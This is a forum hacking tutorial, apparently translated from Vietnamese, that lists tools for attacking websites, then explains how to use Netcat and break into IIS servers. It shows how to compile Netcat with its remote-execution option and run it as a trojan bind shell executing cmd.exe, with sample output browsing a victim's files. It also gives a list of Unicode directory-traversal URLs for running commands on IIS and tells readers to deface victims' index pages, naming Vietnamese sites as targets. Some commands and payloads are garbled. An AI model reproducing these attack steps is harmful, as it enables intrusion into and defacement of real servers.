The most basic insights to becoming a Hacker - Part 8

For professional hackers, they will not need to use these tools, but they will directly setup the version that the victim website uses on their machines to test the error. But for those who are new to the industry, these tools are essential, use them a few times and you will know how to coordinate them so that finding errors on the victim Web sites is the fastest.

47. Tools needed to hack Web:

For professional hackers, they will not need to use these tools, but they will directly setup the version that the victim website uses on their machines to test the error. But for those who are new to the industry, these tools are essential, use them a few times and you will know how to coordinate them so that finding errors on the victim Web sites is the fastest. Here are some tools you need to have on your "business" machine:

1st tool: A proxy used to hide IP and bypass firewalls when needed (How to create a Proxy I showed in section 7, please review).

Second tool: You need 1 shell account, this is really important to you. A good account shell is a shell account that allows you to run main programs like nslookup, host, dig, ping, traceroute, telnet, ssh, ftp . and that shell account needs to install the GCC program (very important in The compile of exploits is written in C, like MinGW, Cygwin and other dev tools.

Shell account is similar to DOS shell, but it has more commands and functions than DOS. Normally when you install Unix, you will have a shell account, if you do not have Unix installed, you should register on a free shell account or if someone installs Unix and you set up a shell account, you can log go to telnet (Start -> Run -> type Telnet) to use that account shell. Here are some addresses you can register for free shell account:

freedomshell.com, cyberspace.org/shell.html, ultrashell.net

3rd tool: NMAP is a fast and powerful scanning tool. Can scan on a wide area network and is especially good for single networks. NMAP helps you see what services are running on the server (services / ports: webserver, ftpserver, pop3 .), what operating system the server is using, what type of firewall the server uses . and many features Other. Generally NMAP supports most scanning techniques such as ICMP (ping aweep), IP protocol, Null scan, TCP SYN (half open), . NMAP is considered as the leading tool of hackers as well. as network administrators around the world.
For more information about NMAP, refer to insecure.org.

4th tool: Stealth HTTP Security Scanner is a great security error scanning tool on Win32. It can scan more than 13,000 security errors and identify 5000 other exploits.

The fifth tool: IntelliTamper is a tool that displays the structure of a Website of any directory and file, it can list both directories and files with password settings. Very convenient for Hacking Website because before you Hack a Website, you have to take some information of Admin and that Website.

6th tool: Netcat is a tool to read and write data over the network via TCP or UDP protocol. You can use Netcat directly or use another script to control Netcat. Netcat is treated as a exploitation tool because it can create links between you and the server for reading and writing data (of course when Netcat is installed on a failed server). All information about Netcat you can refer to l0pht.com.

The 7th tool: Active Perl is a tool to read Perl files * .pl files because exploits are usually written in Perl. It is also used to execute commands via * .pl files.

8th tool: Linux is the operating system most hackers use.

Tool 9: L0phtCrack is the number one tool to Crack Password of Windows NT / 2000.
How Download I have displayed it, so I do not say here, when you remember Download to pay attention to their versions, which version has the largest number, then you should download it because it will have some additional features but previous versions do not yet exist. If you go down and you don't know how to use it, find the old article with instructions for the 'Tools' box. If you still don't see it, just post the question, the party will respond to you.

48. Netcat User Guide:

a. Introduction: Netcat is an indispensable tool if you want to hack a website because it is very powerful and handy. Therefore you need to know a bit about Netcat.

b. Translate:

For Netcat for Linux, you must compile it before using.

- Edit netcat.c file with vi: vi netcat.c:

+ find the line res_init (); in main () and prepend 2 "/": // res_init ();

+ Add the following 2 lines to the #define (located at the top of the file):

```
#define GAPING_SECURITY_HOLE
#define TELNET
```

- compilation: make linux

- test run: ./nc -h

- if you want to run Netcat with nc instead of ./nc, you only need to re-edit the PATH environment variable in the ~ / .bashrc file, adding ":."

PATH = / sbin: / usr / sbin: .:.

Netcat for Win does not need to be compiled because the nc.exe binary file already exists. Just extract it and run it.

c. Netcat options:

Netcat runs in command line mode. You run nc -h for parameters:

```
CODE
C:> nc -h
connect to somewhere: nc [-options] hostname port [ports] .
listen for inbound: nc -l -p port [options] [hostname] [port]
```

options:

-d ---------- separating Netcat from the command window or console, Netcat will run in steath mode (not shown in the Taskbar)
-e prog --- execute prog program, commonly used in listening mode
-h ---------- call instructions
-i secs ----- delay secs milliseconds before sending a data stream
-l ---------- put Netcat into listen mode to wait for incoming connections
-L ---------- Forcing Netcat to "try" to listen. It will listen again every time a connection is disconnected.
-n ---------- only use IP addresses in digital form, such as 192.168.16.7, Netcat will not interrogate DNS
-o ---------- Log file to file
-p port ----- specify port port
-r requires Netcat to choose random port (random)
-s addr ----- impersonating the source IP address is addr
-t ---------- does not send extra information in a telnet session. When you telnet to a telnet daemon (telnetd), telnetd often asks your telnet client to send additional information such as the environment variable TERM, USER. If you use netcat with the -t option to telnet, netcat will not send this information to telnetd.
-u ---------- use UDP (default netcat uses TCP)
-v ---------- show details of the current connection details.
-vv ---------- will show more detailed information.
-w secs ---- setting the timeout time for each connection is secs milliseconds
-z ---------- zero I / O mode, commonly used when scanning port

Netcat supports scope for port numbers. The syntax is port1-port2. For example: 1-8080 means 1,2,3, ., 8080

d. Learn Netcat through the examples:

Web server banner grab:

Example: nc to 172.16.84.2, port 80

```
CODE
C:> nc 172.16.84.2 80
HEAD / HTTP / 1.0 (here you type Enter twice)
HTTP / 1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer / 1.3.19 (Linux-Mandrake / 3mdk) mod_ssl
OpenSSL / 0.9.6 PHP / 4.0.4pl1
Connection: close
Content-Type: text / html
```

For detailed information on the connection, you can use –v (-v will give more detailed information)

```
C:> nc -vv 172.16.84.1 80
```

CODE

```
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) Open
HEAD / HTTP / 1.0
HTTP / 1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache / 1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text / html
sent 17, rcvd 245: NOTSOCK
```

If you want to log, use -o . For example:

```
nc -vv -o nhat_ki.log 172.16.84.2 80
```

See the file nhat_ki.log to see what it says:

CODE

The sign means netcat is sent to the server.

Scan port: Run netcat with the -z option. But for faster port scanning, use -n because netcat will not need DNS querying. For example, to scan TCP ports (1-> 500) of the host 172.16.106.1

CODE

```
[dt @ vicki /] # nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) Open
(UNKNOWN) [172.16.106.1] 139 (?) Open
(UNKNOWN) [172.16.106.1] 111 (?) Open
(UNKNOWN) [172.16.106.1] 80 (?) Open
(UNKNOWN) [172.16.106.1] 23 (?) Open
```

If you need to scan UDP ports, use -u:

CODE

```
[dt @ vicki /] # nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) Open
(UNKNOWN) [172.16.106.1] 1024 (?) Open
(UNKNOWN) [172.16.106.1] 138 (?) Open
(UNKNOWN) [172.16.106.1] 137 (?) Open
(UNKNOWN) [172.16.106.1] 123 (?) Open
(UNKNOWN) [172.16.106.1] 111 (?) Open
```

Turn Netcat into a trojan:

On the victim's computer, start netcat into listen mode, use the -l (listen) and -p port options to determine the port number to listen to, -e to ask netcat to execute a program when there is a connection to it, usually cmd.exe (for NT) or / bin / sh shell (for Unix). For example:

CODE

```
E:> nc -nvv -l -p 8080 -e cmd.exe
listening on [nào] 8080 .
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown error socket
```

On the computer used to attack, you just need to use netcat to connect to the victim machine on the specified port, such as 8080

CODE

```
C:> nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) Open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:> cd test
cd test
E: test> dir / w
dir / w
Máy in t?p tin E có không có tên.
Serial Number is B465-452F Volume
Directory of E: test
[.] [.] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File (s) 262,499 bytes
2 Dir (s) 191,488,000 bytes free
C: test> exit
exit
```

```
sent 20, rcvd 450: NOTSOCK
```

As you can see, we can do anything on the victim's machine, just need some basic commands, we have captured the opponent's computer, please see more:

```
CODE
E:> nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 .?
?
```

For Netcat for Win, you can listen right on the listening port. Just specify the source address is -s address. For example:

CODE

```
netstat -a
.
TCP nan_nhan: domain nan_nhan: 0 LISTENING .
E:> nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> listen right on port 53
listening on [172.16.84.1] 53 .
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?
```

On Windows NT, to put Netcat in listening mode, without Administrator rights, just login with a normal username and start Netcat.

Note: you cannot run netcat with . -u -e cmd.exe . or .- u -e / bin / sh . because netcat will not work properly. If you want a UDP shell on Unix, use udpshell instead of netcat.

(Based on the article by Vicky's brother)

49. IIS server 5.0 hack technique:

IIS servers with versions prior to version 5.0 all have bugs so we can exploit them, because now most people use IIS server 5.0 so the bugs in previous versions are not mentioned. Now I will show you how to hack through activeperl and IE tools, you can apply for websites in Vietnam because they have many errors. Let's start.

First of all, download activeperl and Unicode.pl.

Use telnet to determine if the Web site we attack uses IIS server 5.0:

CODE

```
telnet  80
GET HEAD / HTTP / 1.0
```

If it does not tell you what program you are using, please change port 80 with other ports like 8080, 81, 8000, 8001 . etc .

After you have defined your target, go to DOS and type:

CODE

```
perl unicode.pl
```

Host: (type the server address you want to hack)
Port: 80 (or 8080, 81, 8000, 8001 depending on the port we telnet earlier).

You will see a table listing errors (programmed in Unicode.pl) as follows:

CODE

```
[1] /scripts/.%c0%af./winnt/system32/cmd.exe?/c+
[2] / scripts .% c1% 9c ./ winnt / system32 / cmd.exe? / C +
[3] /scripts/.%c1%pc./winnt/system32/cmd.exe?/c+
[4] / scripts /.% c0% 9v ./ winnt / system32 / cmd.exe? / C +
[5] /scripts/.%c0%qf./winnt/system32/cmd.exe?/c+
[6] /scripts/.%c1%8s./winnt/system32/cmd.exe?/c+
[7] /scripts/.%c1%1c./winnt/system32/cmd.exe?/c+
[8] /scripts/.%c1%9c./winnt/system32/cmd.exe?/c+
[9] /scripts/.%c1%af./winnt/system32/cmd.exe?/c+
[10] /scripts/.%e0%80%af./winnt/system32/cmd.exe?/c+
[11] / scripts /.% f0% 80% 80% af ./ winnt / system32 / cmd.ex e? / C +
[12] /scripts/.%f8%80%80%80%af./winnt/system32/cmd.exe? / C +
[13] / scripts /.% fc% 80% 80% 80% 80% af ./ winnt / system32 / cmd.exe? / C +
[14] / msadc /.% e0% 80% af ./.% e0% 80% af ./.% e0% 80% af ./ winnt / system3
[15] / cgi-bin /.% c0% af .% c0% af .% c0% af .% c0% af .% c0% af ./ winnt / sy
[16] / samples /.% c0% af .% c0% af .% c0% af .% c0% af .% c0% af ./ winnt / sy
[17] / iisadmpwd /.% c0% af .% c0% af .% c0% af .% c0% af .% c 0% af ./ winnt /
[18] / _ vti_cnf /.% c0% af .% c0% af .% c0% af .% c0% af .% c0% af ./ winnt /
[19] / _ vti_bin /.% c0% af .% c0% af .% c0% af .% c0% af .% c0% af ./ winnt /
[20] / adsamples /.% c0% af .% c0% af .% c0% af .% c0% af .% c 0% af ./ winnt /
```

You will see all of the above errors if the victim's website suffers all such errors, if the victim's server is only faulty 13 and 17, the result table will only appear 13th and 17th lines.

I take the example that the result table tells me that the victim's website has errors 3 and 7, I will go to IE and enter the corresponding code on Address:

http://www.xxx.com/scripts/.%c1%p c ./ winnt / system32 / cmd.exe? / c + == 3rd line error
or
http://www.xxx.com/scripts/.%c1%1 c ./ winnt / system32 / cmd.exe? / c + == 7th line error

Now that you have been able to access the victim's server, please use the DOS command to exploit this information. Normally, the Web page is located in the folder vinetpubwwwroot, you can access it, just replace index.html with the name hack by . Alright, don't mess with them.

GOOKLUCK !!!!!!!!!!!!!!

(Part 8)
Anhdenday
HVAonline